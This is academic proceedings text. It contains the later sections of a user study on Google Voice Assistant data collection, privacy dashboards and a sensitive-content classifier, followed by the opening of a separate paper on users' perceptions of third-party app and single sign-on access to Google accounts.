user perceptions regarding GVA data collection and storage
using data from Survey 1.

Perceptions of overall data collection: First, we identified
(using the Google account of the authors) that there are seven
different types of data collected (at most) by GVA. We ver-
ified these types in our automated data collected phase too.
Table 3 shows the seven different types of data collected (at
most) by GVA. The top three are the most obviously sensitive
data types (audio, transcript, location), whereas the rest can
be considered metadata. Recall that we referred to these three
obviously sensitive data types as data elements in this work.
To understand the awareness about GVA data collection, we

Data Type Description
audio Audio clip of conversation
transcript Transcript of conversation
location Ambient location at the time of use

date Date of conversation
epoch Time of conversation
noti Notifications sent by GVA
trig Activation method (w/ or w/o hotword)

Table 3: Types of data collected by GVA

Figure 3: Participant awareness of collected data types and
comfort in sharing them with Google. Data types perceived to
be collected/not-collected correlated with participant comfort
in sharing with Google (Fisher’s exact, p < 0.0001).

asked participants-Do you think that Google Assistant on your
Android smartphone collects any kind of data while you are
using it? in Survey 1. 78.8% of our participants responded
affirmatively with “Yes”, and an additional 20% responded
“Maybe”, signifying the participants are well-aware of possi-
ble data collection by GVA.

Perceptions of specific data collection: However, then we
dug deeper and asked -What pieces of data do you think are
collected when you use Google Assistant on your Android
smartphone?, showing participants the list given in Table 3.
Most participants expressed that GVA collected data such as
the date (89.1%) and time (85.7%) of conversations as well as
the activation method (81.5%). Interestingly, comparatively
fewer participants were aware that GVA collected sensitive
data types such as the transcripts of conversations (73.9%)
and the ambient location (70.58%). Just 61.3% of participants
believed that GVA collected audio clips of conversations,
implying that a non-trivial 38.7% of users were unaware about
the collection of audio clips by GVA.

Correlation between awareness of data collection and com-
fort in sharing data with Google: Next, we asked partici-
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pants to indicate how comfortable they would feel if GVA
collected data from each of the seven data types. The top
three data types where most participants felt most uncomfort-
able to share with Google were audio clips of conversations
(58.8%), transcripts of conversations (45.4%), and ambient
location (45.4%). The top three data types where most partic-
ipants felt comfortable with data collection were activation
method (66.4%), notifications (56.3%), and time of conver-
sations (48.7%). Next, to check if the data types that most
participants felt uncomfortable with being collected were also
the ones participants were least aware of, we performed a
correlation analysis. Figure 3 presents the analysis result—
participant awareness about the collection of each data type
and their comfort level in sharing the data type positively
correlated. These results signify that the data types for which
people were less aware of collection (e.g., audio clips), peo-
ple were also less comfortable with them being collected.
This result indicates a superficial understanding of GVA data
collection. We surmise that this shortcoming might cause
a decreasing interest in GVA users to delete the GVA col-
lected data via existing privacy controls—e.g., deleting or
even browsing their stored data through the data dashboard.

Perceptions of data storage: We asked our participants
Where do you think the data, if collected by Google Assis-
tant on your Android smartphone (and voice-enabled Google
smart speakers) is stored? 86.3% of our participants correctly
responded that the data is stored on Google data storage facil-
ities (servers). However, 10% of participants responded that
the data is stored only on the respective device, whereas 3.7%
of participants responded that the data is stored completely or
partially in both places. So, the majority of participants had a
clear idea of about data storage practices of GVA.

Summary: Most (78.8%) participants thought that Google
collected some data using GVA, and the majority were aware
of where this data is stored. However, their awareness about
the type of data stored was lacking—a non-trivial fraction
was unaware of the collection of sensitive data types. In fact,
the participants were uncomfortable sharing the data elements
they were not aware GVA was collecting (e.g., audio clips).

5.4 Unpacking Preferred Access Control for
Google to Collect GVA Data (RQ2)

Most participants were aware that Google collects and stores
some data using GVA in their servers. Thus, we investigated
the desired access control rules for Google in the context of
specific classes of GVA data elements. We analyzed partici-
pant responses to this question in Survey 2 for specific data
elements—After going through the audio clip/Google Assis-
tant command, how comfortable would you feel if someone
in your intimate/private/social/public relations/Google heard
it/came to know about it?. This question checked the sharing
(i.e., access control) preferences for GVA data with people in

four proxemic zones–intimate, private, social public [21] as
well as Google. Then, we used statistical analysis to check
the proxemic zone closest to Google in terms of these sharing
preferences. A Fisher’s exact test found that there was a sta-
tistically significant correlation between desired access rules
for Google and all proxemic zones (Fischer’s exact p < 0.05)
across all classes of data elements from Table 1. Then we used
difference in proportions as a measure of effect size on 2×2
contingency tables containing comfort data elements between
a proxemic zone and google (one table for each class of data
element) [18]. For each class, the zone(s) with the smallest ef-
fect size had the closest sharing preference with Google. The
average effect size for each proxemic zone across all classes
revealed that participants associated Google most closely with
the public zone (average effect size 0.81) and farthest from
the private zone (average effect size 0.92). Table 9 (Appendix
C) contains all the effect sizes.

Summary: Across all specific data elements, our participants
expressed that the access control rules for Google should be
similar to a public entity. To understand how this observa-
tion translates to actual user behaviour, we now analyze user
privacy preferences for sharing specific files with Google.

5.5 Desired Privacy Preferences of GVA Data
(RQ3)

For specific data elements across different classes presented
in Survey 2, we asked participants if they are comfortable
sharing specific data elements with Google today.
Users want to restrict access of Google for specific GVA
data: Our participants were uncomfortable sharing 121
(18.1%) out of 669 audio clips and 61 (17%) out of 358 tran-
scripts (presented to them in Survey 2) with Google. These
numbers indicate that participants felt uncomfortable sharing
a non-trivial fraction of their GVA-collected data. Next, we
will check the correlation between this preference with the
medium of data collection and class of data.

Correlation with medium of data collection: We checked
the correlation between the device of data collection with user
comfort to share data. Figure 4 presents this result. Our statis-
tical test did not reveal any significant difference in comfort
across data collected via GVA on phones or smart speakers.
However, we did find a significant correlation (p = 0.00) be-
tween user knowledge of the medium of data collection and
user comfort in sharing the data element (both audio and tran-
script) with Google. Participants felt significantly more com-
fortable sharing data elements where they knew about or could
recall the origin of the collected data element. Interestingly,
today, Google My Activity Dashboard only shows whether a
data element was collected by a Google smart speaker, com-
pletely ignoring smartphone devices. Future dashboard de-
signs could add these missing details to make users more
comfortable while viewing their data.
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Figure 4: User preferences for sharing audio clips collected
by different devices with Google. Preferences for transcripts
followed a similar trend.

Correlation with auto-detected classes of data element:
Participants felt most uncomfortable sharing audio clips con-
taining regret words (24.4% of all elements from that class),
followed by audio clips having multiple speakers (21.1%)
and transcripts containing regret words (20.8%). However,
a Kruskal Wallis test revealed no significant differences be-
tween privacy preferences for data elements belonging to
different classes. This result implies that perhaps these simple
classes (often based on word matching) were insufficient to
accurately identify the GVA-collected data elements where
participants wanted to restrict access.

Summary: Participants want to restrict access for a non-
trivial fraction of their GVA-collected data, which underlines
a need to simplify data dashboards for identifying such data
elements. Interestingly, showing users the origin of their col-
lected data made them more comfortable sharing their data.
Our simple NLP and signal processing based classes were
unable to capture sensitive data elements. Thus, we need more
complex tools to identify such sensitive data elements that
users are uncomfortable sharing.

5.6 Understanding Utility of Data Dashboard
for privacy control (RQ4)

As highlighted in the previous subsection, GVA users wanted
to restrict access to 17.7% of GVA-collected data. Today
the My Activity Dashboard is the only Google-provided way
(aside from legal interventions) for the users to delete this
data (albeit post-facto) and control privacy. Therefore, we
sought to understand user perceptions regarding the utility of
this dashboard.

Perceptions of data accessibility: First, we checked whether
participants were aware that they could access the data col-
lected by GVA. 61.3% participants believed that the data
could be accessed, while 32.5% responded that it might be
accessed, indicating the majority are at least aware of the
possibility of a tool like the data dashboard.

Popularity and usage of data dashboard: Now, we check if
participants knew about the My Activity dashboard. 40 (50%)

participants responded that they had heard of it, 10% were
not sure, whereas a surprisingly high 40% of participants had
never heard of the data dashboard. Among the 40 participants
who had heard of the My Activity dashboard, 4 participants
had never visited it, and 33 of the remaining 36 participants
visited their dashboards less than once per month. In effect,
only 3 (3.8%) out of 80 participants visited their dashboards
more than once a month. According to the 36 participants
who had visited their respective dashboards before our study,
the top reasons for visiting it were–(i) To simply check it out
(30), (ii) To view collected data (18), (iii) To change activity
settings (11), and (iv) To delete some data (9). We asked 50
participants who were unsure/unaware to visit the data dash-
board to check their GVA-collected data before continuing
with the study.

Unpacking perceptions of data dashboard: Since all par-
ticipants had explored their dashboards at least once by this
point in the study, we asked them how comfortable they felt
while viewing the data on their dashboard and why. On a scale
of 1 to 5 (1 being very uncomfortable), the average comforta-
bility rating was 3.26 (σ = 1.06, median = 3), indicating that
most participants felt neither comfortable nor uncomfortable
viewing the data. In fact, our qualitative analysis revealed that
participants had mixed reactions to GVA data presented in
the dashboard. 37.5% of our participants were either bothered
or surprised by the information collected. For instance, P31
said, “I know that google is collecting information, but I am
not 100% comfortable to see the amount they collect. There
is really no privacy.” 15% of participants were glad that the
data was available, and 6.25% of participants were unsure of
their choice. The remaining 41.25% of participants were nei-
ther bothered nor surprised. For example, P12 told, “I already
know Google was collecting all of the information I saw.”
Using a Kruskal Wallis test (p = 0.029), we found that partic-
ipants who had heard of the Google My Activity dashboard
before the study were more comfortable (N = 40, µ = 3.525)
in viewing collected data, as compared to participants who
had never heard of the dashboard (N = 32, µ = 2.875). There-
fore, participants grew more comfortable with the dashboard
as they became more familiar with it. Our results strongly
support the need for data dashboards since participants feel
more in control (and thus comfortable) when they can see and
manage their data.

Understanding usability of data dashboard: To check the
usability of the data dashboard, we asked our participants the
question-How easy was it to reach and find what you were
looking for?, using a 5-point scale (1 being very difficult and
5 being very easy). The average rating was 4.025 (σ = 0.899,
median = 4). Thus, most participants found My Activity Dash-
board easy to reach. To get a better idea of any difficulties
faced by participants during navigation, we then asked them
the question-Did you face any difficulties or problems in navi-
gating through your Google My Activity Dashboard? Qualita-

3388    31st USENIX Security Symposium USENIX Association



tive analysis showed that 8 (10%) out of 80 participants found
it hard to navigate through the dashboard to find their data.
For example, P62 said, “There is so much data it is a little
overwhelming.” 2 participants did not check their dashboards,
and 1 participant faced some problems with navigation but
did not elaborate on it. The remaining 69 participants did
not report any difficulties with navigation. 16.25% of par-
ticipants said they would like some assistance in using the
dashboard, and another 10% told that they might want some
assistance. The remaining 73.75% of participants indicated
that they would not like any assistance. We found a positive
correlation (Fisher’s exact test, p = 0.048) between the dura-
tion of using GVA (less or more than around 2 years) with
the need for assistance in using the dashboard, highlighting a
possible cognitive overload for long-time GVA users.

Summary: We found an interesting knowledge gap within
our participants—93.8% of participants thought their GVA-
collected data can or may be accessed. However, only 50% of
the participants were aware of the data dashboard, showing
a lack of actionable knowledge. Even the people who knew
about data dashboards, just 3.75% visited it regularly. In fact,
more than one-third participants (37.5%) felt bothered or
surprised while viewing the collected data. Quite assuringly,
most participants found the dashboard easy to use; however,
10% of participants also found it difficult to access their data.
We observed that more long-time GVA users expressed a
need for assistance in using the dashboard, suggesting the
more they become familiar with the dashboard, the more
overwhelmed they might get with the huge data collected by
GVA over time.

5.7 Moving towards Improving Utility of Data
Dashboards (RQ4)

Currently, Google’s My Activity Dashboard provides two
ways to delete collected data- (i) users can either inspect
and delete each data element individually, or (ii) delete all
data elements stored within a specified date-time range. The
former is particularly not useful from a privacy perspective
because inspecting a large number of collected data elements
(most of which are non-sensitive) is quite time-consuming
and laborious to be practically feasible, as seen in the previ-
ous subsection. On the other hand, the latter can help enforce
privacy but is not a good option for users who might want
to retain some/all of their collected data for future reference,
assisting product development, etc. To assist users with find-
ing their possibly sensitive data collected by GVA, we did a
simple proof-of-concept test—around the end of Survey 2,
we showed them a personalized Google drive with data ele-
ments divided into subfolders according to their auto-detected
classes from Table 1 (with classes as subfolder names) and
asked if a system which can show such classifications will
be useful. Recall that these classes were constructed with

privacy-violating scenarios in mind, and hence some of the
data elements were expected to be sensitive.

Recommending elements in data dashboards: After par-
ticipating in the study, 56.3% of participants reported that
they were very likely to delete some of their data collected by
Google. 65% of participants said that our classifier provided
valuable assistance in finding sensitive data on Google servers,
and 72.5% told that they would recommend others to try it out
if made publicly available. This percentage was 50% higher
than the 27.5% of participants who expressed a need for as-
sistance in finding sensitive data on Google servers in Survey
1, indicating a strong demand for such a recommendation
system in data dashboards.

The efficacy and challenge in providing recommendations:
The primary challenge that we faced while developing our
sensitive content detection system was related to the accuracy
of the system in assigning classes to the data elements. On a 5-
point Likert scale (1 is very inaccurate and 5 is very accurate),
the average rating provided by participants to our classifier
was just 2.67 (σ = 0.96, median = 3), suggesting that most
participants did not find it highly accurate. Additionally, 20
participants provided qualitative feedback regarding the study.
9 out of these 20 participants pointed out that the system ac-
curacy could be improved. For example, P60 stated: “Overall
I found the sensitive content system not to be very accurate.
It some cases it was correct, but in more cases it was rather
incorrect.” Despite the low perceived accuracy of the classifi-
cation, we found it surprising that 65% of participants found
it useful to find sensitive content. P71 further explained the
connection between classification accuracy and helpfulness
of our recommendation system: “Perhaps try improving the
accuracy. I noticed that while it did get some things right, it’d
periodically get things wrong. I’m not expecting the system to
be perfect though but if you can improve the accuracy at all
that’d be great.”

To better understand this result, we looked at participant
accuracy scores and sharing preferences for individual data
elements presented in Survey 2. Out of 52 (65%) participants
who believed that our system provided valuable assistance in
finding sensitive data (i.e. who liked our classification pre-
sentation potentially irrespective of accuracy), we focused on
36 participants who rated at least one encountered data ele-
ment >= 3 for accuracy and also felt neutral or uncomfortable
sharing it with Google. We observed that 29 (80.6%) of these
36 participants found our system to be helpful (i.e. they found
our classification accurate). So, our results hinted that even
when our classifier was able to detect at least one possibly
sensitive file, most participants found it useful, signifying a
need for such recommendations.

Summary: Accurate recommendations of possibly sensitive
data elements help users restrict access and protect the pri-
vacy of their VA-collected data. Encouragingly, recommend-
ing users to revisit even one accurately sensitive data element
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collected by GVA made them highly (80.6%) likely to con-
trol their collected data, highlighting the demand for accurate,
usable dashboards. This finding strongly underlines the effi-
cacy of a highly accurate sensitive-element recommendation
system to improve the utility of data dashboards. In the next
section, we present the feasibility of building such an auto-
mated, highly accurate, sensitive content detection system.

6 Feasibility of Accurately Recommending
Sensitive Data in Data Dashboards

Earlier, we saw that voice assistants like GVA collect and
store large amounts of user data. While deleting all collected
data in bulk can help avoid privacy violations, in Survey 2,
participants mentioned not deleting the shown data elements
for 64.8% (674 out of 1040 data elements shown) of cases.
Our open coding of their explanations revealed interesting
themes—the prominent reasons for not immediately deleting
these 674 data elements was that these data elements were
non-sensitive (24.0% of data elements), improving Google As-
sistant or Google services in general (8.2%). For eg., P48 said,
“I don’t mind Google having access to clips like this to im-
prove their services.” Other reasons for not deleting collected
data included having the choice to view or delete previously
collected data at will (1.4%) and personalized recommenda-
tions from Google (0.4%). In the case of better personalized
recommendations, P32 explained, “I don’t mind if Google
knows hat music I listen to, especially if it improves it’s music
suggestion service.” For 17.7% of data elements, participants
did not mention any specific reason, but they wanted Google
to carry out their processing and delete this data within a time
frame (e.g., after 3 months).

Even though companies provide data dashboards for users
to access this data (e.g., My Activity Dashboard by Google),
current dashboard designs do not offer mechanisms for users
to efficiently sift through and restrict access to specific data el-
ements. To that end, our results (section 5.7) hint at a need for
an improved human-in-the-loop (HITL) GVA data dashboard
design—we envision an interface that can prioritize poten-
tially sensitive content in the dashboard interface and assist
users in controlling the privacy of their GVA-collected data.
However, auto-detecting and restricting access to sensitive
data elements to help users is also challenging as sensitivity
can depend on external factors (e.g., user’s age, frequency
of use, other personal reasons, etc.) aside from the content
of data elements. To that end, we explored the feasibility of
recommending sensitive data elements in data dashboards
in a HITL scenario where the recommendation is only to
help users find such data elements and not to take away their
control. Companies could leverage such recommendations
to improve their data dashboards by presenting possibly sen-
sitive data to their users for review. We envision that such
data elements can be presented either by creating a separate

review section in a dashboard or changing the default ranking
of shown content.

6.1 Modelling Sensitive Content Detection as
a Supervised Prediction Task

Our prediction task involved predicting whether a user will
perceive a particular data element collected by GVA as sensi-
tive. For classification, our training dataset consisted of tuples
(Xi, Yi), where Xi represents the feature vector, and Yi repre-
sents the sensitivity label of a data element i. The prediction
task involved binary classification, where Yi = 1 corresponded
to the ‘Yes’ label (sensitive class) and Yi = 0 corresponded
to the ‘No’ label (not sensitive class). The feature vector Xi
included audio-based features, text-based features, and user-
based features, all of which were captured through user sur-
vey responses and shared GVA data. The audio-based fea-
tures that we used were Mel-Frequency Cepstral Coefficients
(MFCC) [44], spectral contrast, tempo, and SoundNet-based
features [6]. The text-based features included LIWC-based
features, sentence embedding, presence of swear words, pres-
ence of regret words, sentiment-based features, emotion-based
features, and presence of top 100 unigrams and bigrams. The
user-based features consisted of age range and gender of users,
age of Google Account, frequency and span of GVA usage,
and association with computer science or a related field. The
survey responses were included either as one-hot encoding
or binary indicators for multiple-choice answers. A detailed
description of all features is in Appendix E.

To perform this classification, we explored several estab-
lished supervised ML algorithms such as Support Vector Ma-
chines (SVMs), Logistic Regression (LR), Random Forest
(RF), Multi-layer Perceptron (MLP), each from the scikit-
learn library [32], along with XGBoost (XGB) [14]. We com-
pared the performance of these classifiers with two baselines.
The first one was a random classifier that randomly assigned a
label to each data element, where prediction probabilities for
labels were chosen based on their prevalence in our dataset.
For our second baseline, we used the preliminary categoriza-
tion (Table 1) of each data element as the input feature to train
another XGBoost model called XGB-Class. All model hy-
perparameters were optimized using grid search with 10-fold
cross-validation. We found the XGB model to perform the
best and thus use it to report our final performance metrics.

6.2 Our Dataset
Our dataset consisted of 542 audio clips and 412 transcripts.
Each data element was associated with one of three sensi-
tivity labels by the users during Survey 2- ‘Yes’ (sensitive
class), ‘No’ (not sensitive class), and ‘I am not sure’ (ambigu-
ous). Since data sensitivity is subjective, we considered these
user-assigned labels as accurate ground truth for our predic-
tions. The distribution of labels in the dataset was as follows-
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18.34% ‘Yes,’ 63.94% ‘No,’ and 17.72% ‘I am not sure.’ We
were specifically interested in sensitive data elements (labeled
‘Yes’) for our prediction task. Since the neutral label, ‘I am
not sure,’ constituted a non-trivial fraction of our dataset, we
performed four different experiments, treating it as a separate
label each time. In each experiment, we trained our best per-
forming XGB classifier using the ‘I am not sure’ label as a
proxy for one of these four labels- ‘Yes’ (sensitive class), ‘No’
(not sensitive class), ‘Removed’ (do not consider in training
process), and ‘I am not sure’ (treat as a separate class). The
first three experiments were binary classification problems,
whereas the last one was a three-class classification problem.
The best results were obtained associating the ‘I am not sure’
label with the not sensitive class (’No’ label), which semanti-
cally also implies a conservative prediction—recommending
only data element where the classifier is certain that its sensi-
tive. Hence, we report the results of only this experiment in
the paper. The rest of the results are in Appendix B.

6.3 Experimental Setup

We performed 10-fold cross-validation and reported macro-
averaged precision, recall, and F1 scores for each classifier.
Here, precision is defined as the ratio, TP/(TP+FP), where
TP refers to the number of true positive predictions, and
FP refers to the number of false positive predictions. Sim-
ilarly, recall is defined as TP/(TP+FN), where FN refers to the
number of false negative predictions. Since our dataset was
highly skewed away from the class of our interest, we used the
Synthetic Minority Oversampling TEchnique (SMOTE) [13]
to balance our dataset before training the models. SMOTE
aims to balance imbalanced datasets by oversampling or ran-
domly replicating samples from the minority class. We used
the implementation of SMOTE provided by the imbalanced-
learn [26] Python library.

Next, we plotted precision-recall (PR) curves (averaged
over 10-folds) for each classifier to analyze the trade-off be-
tween showing a larger number of sensitive data elements to
the users and the accuracy in finding such elements, reflected
by recall and precision values, respectively. Maximizing both
precision and recall is often not mathematically possible. In
practice, a classifier with high precision and low recall re-
turns fewer but relevant results, whereas a classifier with high
recall and low precision returns many but irrelevant results.
Therefore, achieving a balance between precision and recall
is crucial for such classifiers to recommend as many sensitive
data elements as possible to the user. A valuable heuristic to
capture this trade-off between precision and recall is precision-
recall area under curve (PR-AUC). A higher value of PR-AUC
for a classifier shows its ability to achieve both good precision
and recall. We calculated the PR-AUC values for different
classifiers from their PR curves and used it as a metric to
quantify their overall performance.

Finally, we used precision@k to assess different classifiers

Model Precision Recall F1 score
Proposed Feature-based Models

SVM 0.90 0.89 0.89
LR 0.92 0.91 0.91
RF 0.83 0.83 0.83

MLP 0.91 0.91 0.91
XGB 0.96 0.95 0.95

Baseline Models
Random 0.51 0.52 0.44

XGB-Class 0.54 0.54 0.54

Table 4: Macro-averaged Precision, Recall, F1-score for all
models. The highest values in each column are boldfaced.

from a recommendation system’s perspective. In a practical
scenario, it is unlikely that a user will go over all suggestions
of sensitive data elements presented on their data dashboard.
In such cases, a classifier must sort their recommendations
and minimize the number of false positives within top k rec-
ommendations. We report this value using precision@k. Pre-
cision@k is simply the proportion of correct classifications
within top k recommendations. A higher value of precision@k
signifies good quality of recommendations.

6.4 Results

Our ML models tried to predict whether a particular data ele-
ment will be perceived by the user as sensitive or not. Table 4
shows the macro-averaged precision, recall, and F1 scores for
all models. Across all models, XGB offered the best perfor-
mance with an F1 score of 0.95, followed by LR and MLP,
each of which achieved an F1 score of 0.91. The best per-
forming baseline model was XGB-Class which achieved an
F1 score of 0.54. Our XGB model outperformed the best-
performing baseline model by approximately 76%.

Figure 5 shows the PR curves generated for all models.
Once again, the XGB model performed the best, achieving a
near-perfect PR-AUC value of 0.9894, followed by LR that
achieved a PR-AUC value of 0.9283. The XGB model showed
a significant improvement over the XGB-Class baseline model
(PR-AUC = 0.5452), outperforming it by approximately 81%.

Figure 6 shows the precision@k curves generated for all
models. Looking at the top 30 predictions, the XGB and RF
models performed the best, achieving a perfect precision@30
value of 1. They were followed by MLP, which achieved
a precision@30 value of 0.9. Other models such as SVM
and LR had relatively poor precision@30 values compara-
ble to the precision@30 value of 0.57 for the XGB-Class
baseline model. To distinguish between the performance of
XGB and RF models, we looked at their precision@k values
for large values of k. We observed a slight drop in perfor-
mance while varying k from 1 to 500 for the RF model (pre-
cision@500 = 0.954), whereas the XGB model retained its
performance (precision@500 = 1) even for larger values of
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Figure 6: Precision@k curves while classifying data elements
(SVM, LR, RF, MLP, and XGB are evaluated ML models,
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k, highlighting the stability of XGB model (Figure 15 of Ap-
pendix C). Despite achieving a lower F1 score and PR-AUC
value than models such as LR, the RF model offered better
performance in the scenario where only a few data elements
should be presented to users. Although our best-performing
XGB model achieved a high F1-score of 95%, resourceful
organisations like Google might be able to further improve
accuracy in real-world deployments with additional labeled
data.

6.5 Understanding Prediction Accuracy

Finally we analyzed the features that played the most impor-
tant role in our prediction task.

Many of the important features are user-based: Table 5
shows the top ten features identified by our best performing
XGB classifier, in decreasing order of importance. Three out
of the top five features were user-based, which highlights that
user details are crucial in predicting the perceived sensitivity
of data elements. Five out of the top ten features were text-

Rank Feature Type Name
1 User-based Age of Google Account
2 User-based Frequency of GVA usage
3 Text-based Sentiment-based
4 User-based Age range of user
5 Audio-based SoundNet-based
6 Text-based LIWC-based
7 Text-based Presence of top 100 unigrams
8 Text-based Sentence Embedding
9 User-based Association with CS or a related field
10 Text-based Presence of regret words

Table 5: Top 10 features as decided by the XGB model in
decreasing order of importance

based, implying that the text content of data elements is also
central to the prediction task. This is in contrast with the result
in Section 5.5, where we did not find significant differences in
user privacy preferences across simple lexicon-based classes.
We believe this contrast is because of using more involved
textual features (e.g., LIWC, sentence embedding, sentiment).

7 Concluding Discussion

In this work, we present the first study on understanding users’
privacy attitudes and preferences regarding data collection by
GVA. Specifically, using a real-world data-driven approach,
we unpacked users’ knowledge of the data collection prac-
tices of GVA. Previous work [19] has looked into general
user perceptions and reactions towards the Google My Ac-
tivity data dashboard. However, we, in contrast, focused on
using real-world GVA-collected data elements to elicit spe-
cific user responses. We seek to understand whether such
data dashboards actually provide utility in controlling data
privacy through an 80-participant user study grounded into ac-
tual GVA-collected data. Recent studies have paid increased
attention to voice assistants on smart home speaker devices.
Given the pervasiveness of smartphones, our results show
that smartphone voice assistants can collect data in a variety
of scenarios different from stationary smart speaker devices.
Thus, our work sheds light on the data-centric ecosystem of
voice assistants, with GVA as our test case. Furthermore, in
spite of using GVA data dashboards as our test case, many of
our findings on assessing the efficacy of data dashboards and
improving their usability are generalizable to dashboards of
other voice assistants.
A new direction towards usable data dashboards: Our
results establish a definite need for better data dashboards
while acknowledging the utility of the current one. As a first
step, our results hint at the fact that users have just superficial
knowledge about the data collection and storage practices
of GVA. Although data dashboards help to raise awareness
about the total collected data by GVA, the huge amount of
data does not help. Long-term users would need automated
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assistance to review more sensitive data elements. Thus, our
results underline a need to make these data dashboards more
usable by helping users uncover sensitive data elements. Our
user feedback and accurate classification results identify that
machine-learning based human-in-the-loop systems might
significantly help the cause. To that end, we identified the
top ten most important features for this prediction task. In
addition to text-based and audio-based features already avail-
able to the VA platform, our results highlight that user-based
features can also play an important role in identifying sensi-
tive content. We believe that a handful of these user-based
features unavailable to the VA platform could be collected
by directly asking the users as part of an initial setup process
(while mentioning this will assist the users in finding their sen-
sitive data elements). In fact, our second survey, which aimed
to raise awareness about different types of data collected by
GVA and stored by Google increased user awareness about
GVA collected data.

However, there is much left to explore in this direction,
including the presentation of these recommendations to the
users and checking the efficacy of interface nudges using these
recommendations. For instance, our HITL design to improve
usability focused on assisting users in uncovering potentially
sensitive elements. A potential future work is creating and
evaluating a query system in parallel to this recommender
system. Such a system could assist users in sifting through the
GVA-collected data efficiently and further improve the usabil-
ity of data dashboards. Thus, we strongly feel our work paves
the way to build more usable data dashboards for better assist-
ing users and takes a step forward to bringing transparency to
the data ecosystem of voice assistants.
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Abstract

Online services like Google provide a variety of application

programming interfaces (APIs). These online APIs enable

authenticated third-party services and applications (apps) to

access a user’s account data for tasks such as single sign-on

(SSO), calendar integration, and sending email on behalf of

the user, among others. Despite their prevalence, API access

could pose significant privacy and security risks, where a third-

party could have unexpected privileges to a user’s account. To

gauge users’ perceptions and concerns regarding third-party

apps that integrate with online APIs, we performed a multi-

part online survey of Google users. First, we asked n = 432

participants to recall if and when they allowed third-party

access to their Google account: 89% recalled using at least

one SSO and 52% remembered at least one third-party app.

In the second survey, we re-recruited n = 214 participants

to ask about specific apps and SSOs they’ve authorized on

their own Google accounts. We collected in-the-wild data

about users’ actual SSOs and authorized apps: 86% used

Google SSO on at least one service, and 67% had at least one

third-party app authorized. After examining their apps and

SSOs, participants expressed the most concern about access to

personal information like email addresses and other publicly

shared info. However, participants were less concerned with

broader—and perhaps more invasive—access to calendars,

emails, or cloud storage (as needed by third-party apps). This

discrepancy may be due in part to trust transference to apps

that integrate with Google, forming an implied partnership.

Our results suggest opportunities for design improvements to

the current third-party management tools offered by Google;

for example, tracking recent access, automatically revoking

access due to app disuse, and providing permission controls.

1 Introduction

The 2018 Cambridge Analytica scandal [23] prompted the

scrutiny of third-party apps that integrate with online applica-

tion programming interfaces (APIs). This came about when

an online personality quiz used the Facebook API to collect

detailed personal information from millions of unsuspecting

quiz-takers and their friends. In response, Facebook restricted

how third-parties can use its API [34]. However, Facebook is

not unique among online services that allow third-party apps

to leverage user account data via APIs.

Likewise, Google has APIs that allow third-party services

to use existing user account data. For example, Google’s

single sign-on (SSO) [18] lets users log onto participating

third-party services with their already-existing Google creden-

tials. Other major online services like Apple [4], Twitter [38],

and Facebook [8] offer similar SSO capabilities using their

accounts.

The Google API also exposes functionality from various

Google products. For instance, APIs let authenticated third-

party apps to interact with Google Calendar entries or Gmail

correspondence on behalf of the user. This particular integra-

tion is what enables iOS’s built-in Calendar app to display

and edit a user’s Google Calendar events, among others.

Despite many benefits, granting programmatic access to

one’s online account can pose security and privacy risks, as

highlighted by Cambridge Analytica. In 2018, Google pro-

posed granular permissions for API authorizations to give

users more control and mitigate these risks [17]. As of

September 2021, however, this updated design does not ap-

pear to be widely adopted. Google API integrations in popular

services like Dropbox and Zoom still use all-or-nothing con-

sent flows, and a spot check of the most popular apps on

the Google Workspace Marketplace1 shows those too lack

fine-grained permissions.

In this paper we explore how users consider security and

privacy in light of third-party API access to their Google ac-

counts given the disclosure and control mechanisms currently

available. First, we surveyed n = 432 participants to recall

the last times they used Google SSO or authorized a third-

party app access to their Google account data. When recalling

these, we also asked participants what factors they considered

before granting access. Of the 432 participants, the vast ma-

jority (89%) recalled using SSO, but only half (52%) recalled

1https://workspace.google.com/marketplace/category/popular-apps
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granting the third-party access to their Google account.

We then invited n = 214 participants from the first survey

to return for a follow-up survey. As part of this second survey,

participants installed a browser extension that parsed entries

in their Google account’s “Apps with access to your account”

dashboard.2 Based on this data, we asked participants about

specific apps they currently have installed on their Google

account. From the browser extension, we observed 1,010

third-party services that use Google SSO and 455 third-party

apps that integrate with APIs for various Google services. Of

the observed third-party apps, nearly half require two or more

permissions accessing the participants’ Google account. The

most common permission is modifying Google Play Game

activity (223 instances), followed by viewing primary Google

email address (189), and viewing personal info (177).

Participants were overall only Slightly concerned or Not

concerned about the access granted to third-party apps, but

showed the most concern about apps viewing personal info;

39% were Very concerned, Concerned, or Moderately con-

cerned. Interestingly, such information is perhaps less of a

privacy and security risk than third-party apps that can mod-

ify/view contacts, email, calendar events, or cloud storage.

The relative lack of concern with these permissions could be

attributed to a transference of trust to Google, as evidenced

by open-ended responses where participants indicated that

they believe Google is properly vetting these accesses.

We surveyed participants about the specific apps on their

accounts and asked if they wished to keep or remove account

access for those apps. A logistic regression revealed that par-

ticipants were 5.8× more likely to want to remove access for

an app when they wished to change which Google account

data the app can access. Additionally, they were 5.9× more

likely to keep access when the app was recently used, and

6.0× more likely to keep access when they viewed the app

as beneficial. However, 79% and 78% of participants indi-

cated that they currently Rarely or Never review their apps

and SSOs, respectively. After viewing their third-party ac-

cesses as part of our survey though, the vast majority (95%)

of participants indicated they would want reminders to review

those at least Once a year.

These findings suggest a significant opportunity to improve

how users interact with third parties with programmatic access

to their accounts by helping users to identify and remove less

frequently used apps/SSO in an automated way, or to simply

revoke access after a period of disuse. Similarly, Google

could require regular re-approval of access, perhaps yearly so

as not to be too disruptive. Additionally, many participants

articulated a desire for controls of the permissions for third-

party apps. This would allow users to better limit which

aspects of their Google account each app/SSO can access

with respect to the benefit being provided, rather than forcing

them to accept an all-or-nothing approach.

2https://myaccount.google.com/permissions

2 Background and Related Work

Russell, et al. [32] characterize online APIs as among: content-

focused APIs that provide data; feature APIs that integrate

existing software functionality from elsewhere; unofficial

APIs that (unintentionally) expose internal interfaces; and

analytic APIs that track user experiences. Here, we focus

on Google’s content-focused and feature APIs that enable

third-party developers to register apps with Google that can

perform operations on behalf of a user. Most services, in-

cluding Google’s, use the OAuth standard [2] to delegate and

manage these authorizations. OAuth has been the focus of

much security research [5, 36, 45], and in this paper we do

not investigate the security of OAuth directly but rather user

awareness and concerns for such delegations.

While we primarily focus on third-party apps, we also

consider SSO services as a form of third-party apps with

limited functionality. Bauer et al. [6] looked at willingness to

use the SSOs of Google, Facebook and other services, finding

that there were concerns with information sharing through

SSO, despite messaging. We find similar concerns in our

study. Ghasemisharif et al. [14] studied SSO with respect to

potential for account hijacking. The authors also measured

the prevalence of SSOs, finding that Facebook is the most

